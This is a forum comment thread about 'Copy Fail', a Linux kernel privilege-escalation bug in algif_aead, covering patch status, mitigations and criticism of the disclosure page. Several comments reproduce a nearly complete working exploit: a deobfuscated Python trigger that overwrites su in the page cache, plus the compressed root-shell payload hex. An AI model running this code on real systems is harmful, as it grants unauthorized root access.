Copy Fail

by unsnap_biceps • 3 months ago

1491 507 3 months ago

Is there a readable version of the exploit readily available by any chance? Gotta admit that I failed binary-zip-interpretation-with-naked-eye class twice

progval4• 3 months ago

The binary "zip" isn't the exploit, it's the shellcode. The exploit is the rest, which changes the code of a SUID executable (su).

stackghost6• 3 months ago

The call to zlib basically overwrites a minimal ELF into a portion of the `su` binary, which exceve's /bin/sh.

Sophira2• 3 months ago

To be specific, the zlib'd binary basically does this (except that it directly uses Linux syscalls to do so rather then C wrappers):

    setuid(0);
    execve("/bin/sh", NULL, NULL);
    exit(0);

tgies3• 3 months ago

I have a C translation here that should be pretty readable https://github.com/tgies/copy-fail-c

tommy_axle2• 3 months ago

Go version came in handy https://github.com/badsectorlabs/copyfail-go especially for systems without the very latest python (os.slice)

Slightly more readable Python version at https://gist.github.com/grenkoca/b82281a4706e936072979acf54b...

Lorin• 3 months ago

What is the rationale behind naming CVEs and individual domains? Marketing?

ronsor• 3 months ago

It makes sure people don't forget about the vulnerabilities, at least

Fuzzbit• 3 months ago

Same reason they name storms, numbers scare normies

skilled2• 3 months ago

Probably to some extent it is marketing, but generally it has to do with significant bug finds to get the message out to the people who need to apply patches and/or be informed. Heartbleed, Log4Shell, etc.

Very few CVE’s get names dedicated to them like this, because usually when they do - it is very serious, as in this case.

john_strinlai14• 3 months ago

can you remember what CVE-2021-44228 is without looking it up? CVE-2014-6271? CVE-2017-5753?

i bet if i told you their names, you would instantly know what vulns those are.

its easier to talk about things with names. it hurts no one. it takes approximately no effort or time.

CVEs are, for whatever reason, like the only thing on the planet that people seem to have a problem with when they receive a name. i am not sure why.

QuantumNomad_• 3 months ago

CVEs are, for whatever reason, like the only thing on the planet that people seem to have a problem with when they receive a name. i am not sure why.

What, you guys talk about books based on their “title” instead of just memorising the ISBN of each book? Pssh, count me disappointed!

n3rdr4g3• 3 months ago

For anyone else that was curious they're log4j, shellshock, and spectre

evanjrowley• 3 months ago

The AI generated prose screams marketing. Marketing is why there's a "Contact our Security Team" form at the bottom of the page.

diath• 3 months ago

It's an advertisement for their tool that found the exploit: https://copy.fail/#contact, https://xint.io/products/xint-code

dgellow2• 3 months ago

Yes, originally it was to help spread awareness. Now it has become more of a gimmick I would say

eddythompson803• 3 months ago

Giving catchy names for bad exploits has been a thing for a while. Probably to make sure it's easy to reference and make sure you're patches as opposed to passing numbers around. Heartbleed, Shellshock, BEAST, Goto Fail, etc

tptacek3• 3 months ago

It's certainly marketing, but it's prosocial: there's no scarcity of names, and "copy.fail" is much easier to remember and talk about than "CVE-2026-31431".

baggy_trough4• 3 months ago

Is this fixed in any stable release kernel yet?

Wingy• 3 months ago

7.0-rc1 has a tag with it:

    % git describe a664bf3d603d
    v7.0-rc1-10-ga664bf3d603d

I suspect this means the stable 7.0 has it too.

skilled2• 3 months ago

This looks like an extraordinary find at first glance.

Does this mean you can go from a basic web shell from a shared hosting account to root? I can see how that could wreak havoc really quickly.

barbegal• 3 months ago

Yes I would imagine lots of those type of services would be vulnerable if they hadn't updated to the latest kernel versions.

stackghost6• 3 months ago

As of this comment, Debian Stable ("Trixie", though I hate codenames) doesn't have a fix in place and remains vulnerable, or at least their CVE tracker shows it as such:

https://security-tracker.debian.org/tracker/CVE-2026-31431

corvad• 3 months ago

If this is verified, this is a very big deal. Root access on any shared computer. Additionally do we know what kernel versions and stable versions have the patch?

Tuna-Fish3• 3 months ago

I just tested on my home server running ubuntu 24.04 LTS with newest kernel from repositories, got root.

Avamander• 3 months ago

Can Livepatch mitigate this or is it already? I don't know where to look this up.

ranger_danger5• 3 months ago

As far as mainline goes, only 7.0 and up have the patch already.

Ekaros• 3 months ago

So this could be usable in lot of places with Python and Linux running? Not that I have too many Linux devices around. Still, might be handy sometimes on personal devices.

kro2• 3 months ago

This can likely be shipped as binary code without dependencies like python, as the bug is in the kernel.

ranger_danger5• 3 months ago

C version here: https://gist.github.com/alufers/921cd6c4b606c5014d6cc61eefb0...

SteveNuts• 3 months ago

There's nothing specific about this related to Python, that's just demonstrating how it works.

This is usable anywhere on an affected Kernel version

porridgeraisin• 3 months ago

Better explanation of the write up (still from original exploit author) : https://xint.io/blog/copy-fail-linux-distributions

embedding-shape3• 3 months ago

For mitigation, the page currently basically just says:

Update your distribution's kernel package to one that includes mainline commit a664bf3d603d

But it isn't very clear to me what Kernel version you can expect that to be in. For Arch/CachyOS, the patch seems to be included in 6.18.22+, 6.19.12+ and 7.0+. If you're on any of the lower versions in the same upstream stable series, you're likely vulnerable right now. Some distro kernels may include the fix in other versions, so check for your distribution.

kro2• 3 months ago

Major os vendors will publish pages with the fixed versions:

https://security-tracker.debian.org/tracker/CVE-2026-31431

https://ubuntu.com/security/CVE-2026-31431

Also, disabling algif_aead is suggested as mitigation

1p09gj20g8h• 3 months ago

Where are you seeing the disabling algif_aead mitigation?

nh23• 3 months ago

On a git repo that has as remotes

    https://github.com/torvalds/linux.git
    https://git.kernel.org/pub/scm/linux/kernel/git/stable/linux.git as remotes:

running a search for commit a664bf3d603d's commit message:

    git log --all --grep 'crypto: algif_aead - Revert to operating out-of-place' '--format=%H' | xargs -I '{}' git tag --contains '{}' | sort -u

outputs these tags as having the fix:

    v6.18.22
    v6.18.23
    v6.18.24
    v6.18.25
    v6.19.12
    v6.19.13
    v6.19.14
    v7.0
    v7.0.1
    v7.0.2
    v7.0-rc7
    v7.1-rc1

rcxdude4• 3 months ago

distros might also apply patches to their own packages, so this isn't a perfect signal (i.e. if you have one of those versions, you almost certainly have the fix, but if you don't, it might still be fixed but you'll need to check the distro's package information to know for sure).

bombcar2• 3 months ago

Here's the diff if you wanna play in your source (Gentoo, looking at you):

https://github.com/torvalds/linux/commit/a664bf3d603d

6.18.25-gentoo-x86_64 has the patch for Gentoo.

senectus1• 3 months ago

Just curious.. do they list all those kernel version because there is regression in versions after 6.18.22 ?

ie does v 6.19.0 have the flaw in it?

TehCorwiz• 3 months ago

It does not behave as described on EndeavorOS (arch-based) running kernel 6.19.14-arch1-1. I receive the error:

Password: su: Authentication token manipulation error

I'm guessing this means it's already patched?

dimastopel• 3 months ago

same result on my arch machine as well.

john_strinlai14• 3 months ago

yes, it was reported on march 23rd, patches on april 1.

you are reading about it now because it has been patched.

marshray6• 3 months ago

No it hasn't.

Ubuntu before 26.04 LTS (released a week ago) are currently listed as vulnerable.

Debian other than forky and sid are currently listed as vulnerable.

This is a disgrace.

w2seraph• 3 months ago

holy smokes it just rooted my just installed from ISO Ubuntu server

rany_• 3 months ago

Could this be used to root Android devices? Does Android ship with algif_aead?

zb33• 3 months ago

Android is smarter than setuid + system partitions aren't writable.

int0x294• 3 months ago

Its not writing to the partition though is it? It is polluting the cache page via a write with a buffer overrun in the kernel. I don't think buffer overruns follow permissions.

firer• 3 months ago

System partitions being non-writable has nothing to do with the vulnerability - it allows modifying the cache of any file that you can open for reading.

Not using setuid anywhere means you'd have to build a slightly more clever exploit, but it's still trivial - just modify some binary you know will run as root "soon".

But... I didn't check, but IIRC the untrusted_app secontext that apps run in is not allowed to open AF_ALG sockets - so you can't directly trigger the vulnerability as a malicious app. Although it might be possible in some roundabout way (requesting some more privileged crypto service to do so).

notpushkin3• 3 months ago

I’ve poked around on my phone and it didn’t work:

    File "/data/data/com.termux/files/home/a.py", line 5, in c
      a=s.socket(38,5,0); # ...
    File "/data/data/com.termux/files/usr/lib/python3.13/socket.py", line 233, in __init__
      _socket.socket.__init__(self, family, type, proto, fileno)
      ~~~~~~~~~~~~~~~~~~~~~~~^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^
  PermissionError: [Errno 13] Permission denied

int0x294• 3 months ago

I got line 5 to run and failed on line 8 due to lack of su. I'd need to find a user accessible setuid binary for it to work.

Traceback (most recent call last): File "/data/data/com.termux/files/home/exploit.py", line 8, in <module> f=g.open("/usr/bin/su",0);i=0;e=zlib.decompress(d("78daab77f57163626464800126063b0610af82c101cc7760c0040e0c160c301d209a154d16999e07e5c1680601086578c0f0ff864c7e568f5e5b7e10f75b9675c44c7e56c3ff593611fcacfa499979fac5190c0c0c0032c310d3")) ^^^^^^^^^^^^^^^^^^^^^^^ FileNotFoundError: [Errno 2] No such file or directory: '/usr/bin/su'

tripdout• 3 months ago

There’s SELinux, everything is mounted nosuid, barely anything runs as root except init. I doubt it.

angry_octet9• 3 months ago

You don't need a suit binary for this, they have arbitrary write of memory. The suid binary is just a convenient and portable way to demonstrate it. Real exploits will use many different mechanisms.

alufers2• 3 months ago

I rewrote it quickly to C [1] (and changed the embedded binary to be aarch64).

Unfortunately it fails on calling bind() on my device, so probalby Android doesn't ship with that kenrel module by default :(. So no freedom for my $40 phone.

Putting it out here, maybe somebody else will have better luck.

[1] https://gist.github.com/alufers/921cd6c4b606c5014d6cc61eefb0...

alufers2• 3 months ago

Update: Checking the kernel config indeed confirms this.

   adb shell zcat /proc/config.gz | grep CONFIG_CRYPTO_USER_API
   # CONFIG_CRYPTO_USER_API_HASH is not set
   # CONFIG_CRYPTO_USER_API_SKCIPHER is not set
   # CONFIG_CRYPTO_USER_API_RNG is not set
   # CONFIG_CRYPTO_USER_API_AEAD is not set

jzb• 3 months ago

This is amazing. Page says it works on RHEL 14.3, which doesn’t exist. Current RHEL is 10.x, this must’ve been done in a TARDIS.

bryanlarsen• 3 months ago

On the same line it says kernel version 6.12.0-124.45.1.el10_1. Which is RHEL 10. This is the kind of typo that humans make -- the hard to type numbers are accurate because they're cut and pasted, but the "easy" numbers have errors because they're not cut and pasted.

oskarkk3• 3 months ago

14.3 seems to come from some Red Hat-specific GCC version, which can be reported as "gcc (GCC) 14.3.1 20250617 (Red Hat 14.3.1-2)". See these random examples I found by googling:

https://github.com/anthropics/claude-code/issues/40741 (gcc version "Red Hat 14.3" included in system version at the bottom)

https://docs.oracle.com/en/database/oracle/tuxedo/22/otxig/s...

tylerni73• 3 months ago

ugh sorry should be fixed. There was some scrambling to get more info together to explain the issue (and yes, obviously marketing), so there are some minor mistakes. Thanks for pointing it out!

justinclift• 3 months ago

obviously marketing

Why marketing though?

cozzyd• 3 months ago

yeah, I assumed the whole thing was AI slop when I saw EL14...

jabwd• 3 months ago

Hope the 'marketing' had the desired effect. This entire article of pure AI noise was an absolute slog to get through to get to useful information. I have no idea how you view that as positive advertising.

tjbecker4• 3 months ago

https://x.com/i/status/2049687923814281351

and yes, RHEL 14.3 doesn't exist We meant to say RHEL 10.1. Sorry for the confusion!

themafia• 3 months ago

If your kernel was built between 2017 and the patch

This is why I compile my own kernel. I disable things I don't use. If it's not present it can't hurt you.

block AF_ALG socket creation via seccomp regardless of patch state.

Likewise I use seccomp to only allow syscalls that are necessary. Everything else is disabled. In the programs I have that need to connect to a backend socket, that is done, and then socket creation is disabled.

tosti4• 3 months ago

Any pointers on how to set that up? Like, run all the things through strace, cut the first field, sort, uniq, run through some template and something somesuch what how?

maxtaco• 3 months ago

Use extreme caution running arbitrary code on your machines, especially obfuscated code that tickles kernel bugs! (edited)

charcircuit3• 3 months ago

The page explicitly describes that it is stealthy as it does not make permanent changes, only corrupting the binary in memory.

scratchyone2• 3 months ago

unfortunately the page can also lie to you haha. it seems people have reviewed the code by now, but running suspicious shellcode you don't fully understand is never a great idea.

stackghost6• 3 months ago

Analysis of the POC concurs with my tests that confirm that the portion of `su` that gets overwritten does not survive a reboot.

wang_li2• 3 months ago

it's living in your page cache, not on your disk. flush the caches and it'll disappear.

charcircuit3• 3 months ago

SUID binaries once again assisted a local privilege escalation attack. This is a major problem that distros can't keep ignoring.

marshray6• 3 months ago

There's a claim upthread that a straightforward variation works against /etc/passwd.

q3k4• 3 months ago

You can also just use this to patch libc and turn close() into close-but-also-give-me-a-root-shell().

bblb• 3 months ago

What is "RHEL 14.3"? Was this site a one shot prompt. Quality.

DetroitThrow• 3 months ago

Despite the copy/images being weird about RHEL 14.3, this seems to work. Wow?

layer85• 3 months ago

Debian page: https://security-tracker.debian.org/tracker/CVE-2026-31431

Sohcahtoa823• 3 months ago

Oddly, the POC doesn't work on my Debian 12 (Bookworm) EC2 instance. Everything that should indicate it's vulnerable is there, including the ability to socket(38,5,0).bind("aead", "authencesn(hmac(sha256),cbc(aes))")

layer85• 3 months ago

What kernel version is it? (`uname -r`)

dgellow2• 3 months ago

That’s the most AI-written page ever made

collinmanderson• 3 months ago

Yes. So cringy.

phreack• 3 months ago

The page itself seems vibecoded and a bit of an advertisement, but it does look like the vulnerability is real and high risk. It does explain the big security update I just got, guess I'll prioritize updating today.

2001zhaozhao• 3 months ago

This is pretty obviously an advertisement but it's a pretty good advertisement imo, it pairs a meaningful contribution to the OSS ecosystem (discovering and patching a real bug) with selling your cybersecurity tool at the same time.

Orygin5• 3 months ago

The incentive previously was having more secure software making a name for yourself. The incentive now is finding the most noisy vulnerability so you can push FUD to sell your AI software.

angry_octet9• 3 months ago

These guys don't need to advertise, they are already 100% busy with work. But who wastes their time manually creating web pages? Especially kernel devs.

tkgally• 3 months ago

Side comment: I have recently used Claude Code to make a few sites for testing purposes. In the prompt I added "don't make it look vibe coded," and it worked pretty well: No purple gradients, bento box layouts, etc. Nothing spectacularly original, either, but probably enough to avoid accusations of vibe coding.

x41326• 3 months ago

it's advertising their AI, not the talents of their humans :D

AntiUSAbah3• 3 months ago

With vibe coding, html is a visualiation tool. not sure if i get your problem with that?

chasil• 3 months ago

On the downside, I need to push new kernels to all my servers.

On this bright side, does this mean Magisk is coming to all unpatched Android phones?

akdev1l6• 3 months ago

No, Android doesn’t have suid binaries to exploit like in the PoC

tardedmeme3• 3 months ago

The vulnerability can also be used on any binary that is already running as root and you can open for reading. So yes, any android app can now escalate to root if android has the vulnerable module.

progval4• 3 months ago

So this replaces a SUID binary, in order to run as PID 0. The website claims it can escape "Kubernetes / container clusters" and "CI runners & build farms" but I don't see anything supporting the claim it can escape a container (or specifically, a user namespace).

I ran the exploit in rootless Podman, and predictably it doesn't escape the container.

They also claim their script "roots every Linux distribution shipped since 2017.", but only tested four; and it doesn't work on Alpine

embedding-shape3• 3 months ago

Did you try it on systems that don't have the patch already? Seems many distributions already shipped kernels with the patch ~a month ago.

progval4• 3 months ago

Yes. Alpine in rootless Podman doesn't work (after replacing "/usr/bin/su" with "/bin/su" in the .py, running the .py just doesn't do anything) while it does in Debian in rootless Podman on the same host.

amusingimpala75• 3 months ago

Their PoC does as you say, but is built upon arbitrary modification of the page cache, which could be abused for the other things

progval4• 3 months ago

Ah indeed, it can be used to overwrite the page cache for files on read-only volumes.

rcxdude4• 3 months ago

If you can get to real UID 0 from a rootless container, you can escape it, but you do need to take extra steps. Same with it working on Alpine: the underlying vulnerability probably still exists, but the script might need some adjusting. It's a PoC, not a full exploit for every situation.

CGamesPlay4• 3 months ago

It's worth pointing out that you cannot, definitionally, get "real UID 0" in a "rootless" container, because then it wouldn't be a rootless container. This is relevant because this exploit doesn't claim to be able to bypass user namespaces, and that getting "real UID 0" would be a different exploit.

john_strinlai14• 3 months ago

The website claims it can escape "Kubernetes / container clusters" and "CI runners & build farms" but I don't see anything supporting the claim it can escape a container

they state that the write-up is forthcoming. presumably there is some additional steps or modifications that will be detailed in the 'part 2'.

"Next: "From Pod to Host," how Copy Fail escapes every major cloud Kubernetes platform."

tjbecker4• 3 months ago

This is correct. The container escape exploit and writeup is not yet released.

layer85• 3 months ago

The 2017 claim is based on the vulnerability having been introduced in this commit in the second half of 2017: https://git.kernel.org/pub/scm/linux/kernel/git/torvalds/lin...

The details will depend on whether the kernel is a newer release or a maintenance version of an older release.

microtherion• 3 months ago

It also doesn't work on Raspberry Pi, though presumably it could easily be made to; it does replace the su binary, but the replacement is not executable.

unsnap_biceps• 3 months ago

It's patching the binary in memory, so the binary patch would be architecture dependent. The existing one is only x86_64, but with an updated payload, it would work on arm.

x41326• 3 months ago

this is because the `su` binary is replaced with x86 shellcode, replace it with aarch64 and it will work just the same.

Twirrim• 3 months ago

They also claim their script "roots every Linux distribution shipped since 2017.", but only tested four; and it doesn't work on Alpine

They've done themselves no favours at all with their write up.

It does seem legitimate (I was able to use the PoC on a 24.04 instance), and seems like it should be a big deal, but the actual number of affected distributions seems way lower, and not even remotely as per their claim every distribution since 2017.

For example with Ubuntu, if I'm reading it right there's some impact in 16.04 (EOL), but then at least as per their analysis, only the vendor specific 6.17 kernels they ship that have it (e.g. linux-gcp, linux-oracle-6.7 etc.). That's a relatively new kernel version they started shipping recently, after it was released upstream last September.

x41326• 3 months ago

i mean, it doesn't work on any SELinux, but it's still quite severe anyhow

tardedmeme3• 3 months ago

It overwrites bytes in memory of any file you can read. It's not hard to imagine how it could escape a lot of things.

x41326• 3 months ago

there is a PoC floating around for Alpine.

CGamesPlay4• 3 months ago

Kubernetes 1.33 switches to user namespaces enabled by default, which I imagine is the same underlying mechanism that rootless Podman uses. `hostUsers: false` is the way to ensure that root in the pod is root on the host. It's trivial for a real (unmapped) root to escape a Kubernetes pod.

smlacy• 3 months ago

The fetishism of "byte count" (here, as "732 byte python script") needs to stop, especially when in a context like this where they're trying to illustrate a real failure modality.

Looking at their source code [1] it starts with this simple line:

import os as g,zlib,socket as s

And already I'm perplexed. "os as g"? but we're not aliasing "zlib as z"? Clearly this is auto-generated by some kind of minimizer? Likely because zlib is called only once, and os multiple times. As a code author/reviewer, I would never write "os as g" and I would absolutely never approve review of any code that used this.

Anyway, I could go on. :) Let's just stop fetishizing byte count

[1] https://github.com/theori-io/copy-fail-CVE-2026-31431/blob/m...

embedding-shape3• 3 months ago

I would absolutely never approve review of any code that used this.

How often do you review, and subsequently block the release, of PoCs in this sort of context? Sounds like you've faced this a lot.

I always thought code quality mattered less in those, as long as you communicate the intent.

opello• 3 months ago

While not formally reviewing code like this, I read a lot of it for fun. When it's clear and understandable, it's more educational and enjoyable. If the PoC code can also serve as a means of communication, that seems like an extra win.

Xirdus4• 3 months ago

If you have a choice between posting minimized exploit code, and posting regular exploit code, posting minimized code is virtually always the wrong choice.

If you have a choice between pointing out the byte size of the exploit, and not pointing out the byte size of the exploit, pointing it out is virtually always the wrong choice.

In both cases, doing the right thing is less work. So somebody is going the extra way to ensure they are doing it wrong. If they didn't care, they'd end up doing it right by default.

nvme0n1p1• 3 months ago

as long as you communicate the intent

How does "import os as g" communicate the intent? How does hiding the payload behind zlib communicate the intent? This is the opposite: obfuscating the intent, so they can brag about 732 bytes instead of 846 bytes (or whatever it might have been).

It would have been less work for everyone involved to just release the unminified source.

refulgentis• 3 months ago

It's just lazy AI* writing w/0 editing.

"Just" is doing a lot of work there, I'm so annoyed reading it.

It's like an anti-ad and they had pretty cool material to work with.

* Claude loves stacatto "Some numeric figure. Something else. Intensifier" (ex. the "exploitable for a decade." or whatever sentences)

bonzini• 3 months ago

Completely without editing, to the point of hallucinating a RHEL version (14.3) that doesn't exist.

tjbecker4• 3 months ago

I recommend reading the technical writeup https://xint.io/blog/copy-fail-linux-distributions

john_strinlai14• 3 months ago

As a code author/reviewer, I would never write "os as g" and I would absolutely never approve review of any code that used this.

lucky for them, its an exploit script, not enterprise code.

all that needs to be "reviewed" is whether or not it exploits the thing its supposed to.

edit: yall really think a 10-line proof of concept script needs to undergo a code review? wild. i shouldnt be surprised that the top comment on a cool LPE exploit is complaining about variable naming

Xirdus4• 3 months ago

I'd imagine that at minimum, the team in charge of patching the vulnerability would need to review how the exploit works.

StableAlkyne• 3 months ago

It's just sloppy. Readers are human, and little mistakes like this take away from the article. Then you add a nonexistent RHEL version, and it just isn't a good look. Which is a shame, because it's otherwise a very interesting vuln.

Maybe you didn't care, but the length of this comment chain clearly shows that it matters. Effective communication is just as important as the engineering.

ok123456• 3 months ago

This is pretty legible compared to the 90s C rootshell.org exploits.

debo_3• 3 months ago

I don't see it as fetishizing byte count. I think of it as a proxy measure for how complicated or uncomplicated the exploit might be. They could just as well have said "we can do it in 3 lines of python" or "the Shannon entropy of the script implementing the exploit is really small" and I would have interpreted it similarly.

Where do you see this "fetishizing" happening most often? It's a strange thing to counter-fetishize about.

layer85• 3 months ago

I think of it as a proxy measure for how complicated or uncomplicated the exploit might be.

From a Busy Beaver, 256-bytes compo, or Dwitter perspective, 732 bytes isn’t really that meaningful.

And the sample exploit is even optimizing the byte size by using zlib compression, which doesn’t make much sense for the purpose. It just emphasizes the byte count fetishization.

tptacek3• 3 months ago

I don't get the 732-byte thing either and while I think it's a relatively punchy and unusually informative landing page for named vulnerability there are little snags like this all over it.

But the fact that it's not a kernel-exec LPE and it's reliable across kernels and distributions is important; it's close to the maximum "exploitability" you're going to see with an LPE. Which the page does communicate effectively; it just gilds the lily.

tylerni73• 3 months ago

yeah... definitely a bit of a rush to get the landing page out after a long time in the disclosure process. The folks putting this all together have been working like mad (finding the bug, disclosing, working a lot on patching, writing up POCs and verifying exploitability in different scenarios) and stayed up really late to finish up the landing page, which led to a lot of minor issues.

But the bug is real and people should patch :)

For the size: sometimes people will shove in kilobytes of offset tables or something into an exploit, so it'll fingerprint and then look up details to work. This is much smaller because it doesn't need any of that, which is important for severity. (I agree the "golf" nature is a bit of an aside, kind of like pwn2own exploits taking "10 seconds")

fragmede2• 3 months ago

Anyway, I could go on.

Then go on. zlib is only used once, so "zlib as z" in exchange for using z once doesn't get you anything. Using os directly and not renaming it g saves you 2 bytes though. But in this age where AI outputs reams of code at the drop of a hat, why shouldn't we enjoy how small you can get it to pop a root shell?

https://gist.github.com/fragmede/4fb38fb822359b8f5914127c2fe...

edit: If we drop offset_src=0 and just pass in 0 positionally, it comes down to 720.

Banditoz• 3 months ago

...why shouldn't we enjoy how small you can get it to pop a root shell?

Because I want to know what the exploit is doing and how it works, and if it's even safe to run.

A privesc PoC is NOT the place for this kind of fun.

tensegrist• 3 months ago

llms love that though

"The honest solution: a clean 50-line cut" and so on, ad nauseam

infogulch• 3 months ago

While I agree that it doesn't make much sense to use a minimizer on code the reader could understand, the code-golfed byte count of a CVE repro communicates its complexity in a certain visceral way.

rts_cts• 3 months ago

I started to take the exploit script apart and reformat it to be something readable. At about 1041 bytes it's actually readable. The heart of it also includes an encoded zlib compressed blob that's 180 bytes long ('78daab77...'). This is decompressed (zlib.decompress(d(BLOB)) to a 160 byte ELF header.

vitus• 3 months ago

Hilariously, "os as g" adds one more byte than it saves, since os is only used 4 times but the alias takes 5 extra bytes to save 4. And "socket as s" comes out even.

If you wanted real savings, you'd use "d=bytes.fromhex" instead of defining a function -- 17 bytes!! And d('00') -> b'\0' for -2 bytes.

We could easily get the byte count down further by using base64.b85decode instead of bytes.fromhex (-70 or so), but ultimately we're optimizing a meaningless metric, as you mention.

xmcp123• 3 months ago

Glad I’m not alone. The whiplash from “oh, python I can read this” to “what the hell does that do” was jarring.

Assuming AI was correct, it unpacks more or less like this

import os, zlib, socket

AF_ALG = 38

SOCK_SEQPACKET = 5

SOL_ALG = 279

def hex_bytes(x):

    return bytes.fromhex(x)

def trigger(fd, offset, patch4):

    sock = socket.socket(AF_ALG, SOCK_SEQPACKET, 0)

    sock.bind(("aead", "authencesn(hmac(sha256),cbc(aes))"))

    sock.setsockopt(SOL_ALG, 1, hex_bytes("0800010000000010" + "0" * 64))

    sock.setsockopt(SOL_ALG, 5, None, 4)

    op, _ = sock.accept()

    length = offset + 4

    zero = b"\x00"

    op.sendmsg(

        [b"A" * 4 + patch4],

        [

            (SOL_ALG, 3, zero * 4),

            (SOL_ALG, 2, b"\x10" + zero * 19),

            (SOL_ALG, 4, b"\x08" + zero * 3),

        ],

        32768,

    )

    read_pipe, write_pipe = os.pipe()

    os.splice(fd, write_pipe, length, offset_src=0)

    os.splice(read_pipe, op.fileno(), length)

    try:

        op.recv(8 + offset)

    except:

        pass

target = os.open("/usr/bin/su", os.O_RDONLY)

payload = zlib.decompress(bytes.fromhex("..."))

offset = 0

while offset < len(payload):

    trigger(target, offset, payload[offset:offset + 4])

    offset += 4

os.system("su")

flourflour• 3 months ago

You're supposed to add "as a senior engineer" so we know you're 3 years out of bootcamp and can program in 1.25 languages. Or "as a staff..." if you've given an interview, know what 'make' is ("it's a command!") and are willing to do absolutely anything for the CTO.

xeeeeeeeeeeenu• 3 months ago

It seems there was some kind of confusion during the disclosure process, because the vendors aren't treating this vulnerability as serious and it remains unpatched in many distros.

https://access.redhat.com/security/cve/cve-2026-31431 "Moderate severity", "Fix deferred"

https://security-tracker.debian.org/tracker/CVE-2026-31431

https://ubuntu.com/security/CVE-2026-31431

https://www.suse.com/security/cve/CVE-2026-31431.html

Tuna-Fish3• 3 months ago

Yeah, by ubuntu's own guidelines linked on that page, this should be priority: high, but instead it's marked as medium.

no-name-here2• 3 months ago

That was fixed, it’s now marked high.

MarleTangible• 3 months ago

Seems like distros consider it a medium risk because it doesn't involve remote code execution and requires local access. Though it allows local root privilege escalation which is considered high priority.

https://ubuntu.com/security/cves/about#priority

Medium: A significant problem, typically exploitable for many users. Includes network daemon denial of service, cross-site scripting, and gaining user privileges.

oskarkk3• 3 months ago

Strange that it's not classified as "high", which specifically includes "local root privilege escalations".

High: A significant problem, typically exploitable for nearly all users in a default installation of Ubuntu. Includes serious remote denial of service, local root privilege escalations, local data theft, and data loss.

mghackerlady• 3 months ago

it's not like this couldn't be chained with some other exploit to get remote access to get remote root access which seems like a bit of an issue

daveoc64• 3 months ago

Ubuntu seems to have updated the page to say that it's a high priority now.

markhahn• 3 months ago

if your model is that linux is just about single-user desktops, this local exploit isn't too bad. or if your model is nothing but DB servers or the like.

mystifying to me that shared, multi-user machines are not thought of. for instance, I administer a system with 27k users - people who can login. even if only 1/10,000 of them are curious/malicious/compromised, we (Canadian national research HPC systems) are at risk. yes, this is somewhat uncommon these days, when shell access is not the norm.

but consider the very common sort of shared hosting environment: they typically provide something like plesk to interface to shared machines with no particular isolation. can you (as a website owner or 0wner) convince wordpress/etc to drop and execute a script? yep.

dwedge2• 3 months ago

Local access is a bit of a misnomer though, a vulnerable website can be tricked into running a script

wangman• 3 months ago

RedHat has also changed it to "Important severity" and "Affected" now.

staticassertion11• 3 months ago

It was already known to attackers (or basically anyone watching) weeks ago when the patch hit the kernel but it wasn't communicated by upstream as a vuln (because Linus and Greg do not believe that vulnerabilities are conceptually relevant to the kernel).

still_grokking5• 3 months ago

Will this continue like that even when the prophesied Mythos Vulnocalypse hits the Kernel?

This stance doesn't seem sustainable any more to me.

Neil44• 3 months ago

I thought that. surely people are going crazy right now owning anything with an our of date Wordpress exposed.

AntiUSAbah3• 3 months ago

I'm schocked that ubuntu is aware of this and the prv lts is not patched yet :|

wtf

Yokohiii• 3 months ago

upgraded today and they've put the kernel module install override in place. (wsl2/ubuntu)

baggy_trough4• 3 months ago

The upstream stable kernels (6.12.85, etc.) are out now with the fixes.

DooMMasteR2• 3 months ago

Yeah, it was also staged for release on the affected kernel branches a while ago, but almost all still had the window open and only tonight got the merged across all maintained kernel versions.

It's not good... and surely not "responsible/planned" disclosure.

stefanor2• 3 months ago

As far as we can tell, nobody disclosed it to the distributions, only to the kernel security team (who did not reach out to distributions). So the distributions are all scrambling now.

Good lesson in how not to do disclosure.

baggy_trough4• 3 months ago

Why wouldn't the kernel security team reach out to distributions?

dist-epoch• 3 months ago

Will you release the full PoC?
Yes — it's on this page. We held it for a month while distros prepared patches; the major builds are out as of this writing.

There is no update available for Ubuntu 24, PoC works and just tried updating.

krunck2• 3 months ago

Wow. I tried it on an old testing VM of Ubuntu 24.04 that had not been touched for a few months. Instant root with the bonus that any user that runs "su" gets root too. I updated the VM thinking it would be fixed afterward. Nope.

akdev1l6• 3 months ago

You’d have to reinstall the su binary itself I guess

cyberpunk• 3 months ago

It just changes the page cache for the su binary, a reboot will revert it.

deep2secure• 3 months ago

I checked it. Very nice efforts made to create it

rkeene25• 3 months ago

Interestingly it fails for me because my `su` isn't world-readable:

  $ stat /bin/su
    File: /bin/su
    Size: 59552           Blocks: 118        IO Block: 59904  regular file
  Device: 0,52    Inode: 796854      Links: 1
  Access: (4711/-rws--x--x)  Uid: (    0/    root)   Gid: (    0/    root)
  Access: 2023-09-18 13:23:03.117105665 -0500
  Modify: 2021-02-13 05:15:56.000000000 -0600
  Change: 2023-09-18 13:23:03.119105665 -0500
   Birth: 2023-09-18 13:23:03.117105665 -0500

I'm not sure I have any setuid/setgid binaries that are world-readable...

rkeene25• 3 months ago

A workaround might be to make all setuid/setgid files non-world-readable because then they cannot be opened at all, and thus there is no setuid file to replace the contents of.

hashstring• 3 months ago

Eh, if you can pollute page caches this won’t safe you.

Think modifying shared libraries, ld preload, cron, I guess on some systems /etc/passwd even.

There are a lot of files readable that should definitely not be writable.

zerocrates2• 3 months ago

It being readable is the default configuration most places, after all the purpose is to call it from a non-privileged user. But I could see it being made non-readable since its use is discouraged nowadays... though then I'd expect sudo to be readable as an alternative.

rkeene25• 3 months ago

My `sudo` is also not readable. Files/directories don't need to be readable to be executed. I can still use `su` and `sudo`.

aniou• 3 months ago

Looks like a LLM hallucination - there is no thing like "RHEL 14.3", although referenced kernel signature (6.12.0-124.45.1.el10_1) contains reference to real RHEL release, i.e. 10.1.

nh23• 3 months ago

If you want to use the suggested mitigation (disabling kernel module `algif_aead` with a modprobe config), and you do not want to run that whole obfuscated shell code to get an actual root shell, but only check if the module can be loaded, here is a readable version of its first few lines:

    python3 -c 'import socket; s = socket.socket(socket.AF_ALG, socket.SOCK_SEQPACKET, 0); s.bind(("aead","authencesn(hmac(sha256),cbc(aes))")); print("algif_aead probably successfully loaded, mitigation not effective; remove again with: rmmod algif_aead")'

Similarly, when the mitigation is in place,

    modprobe algif_aead

should fail with an error.

archon8103• 3 months ago

    modprobe algif_aead
    modprobe: FATAL: Module algif_aead not found in directory /lib/modules/6.14.3-x86_64-linode168

Yet this kernel is vulnerable.

Sophira2• 3 months ago

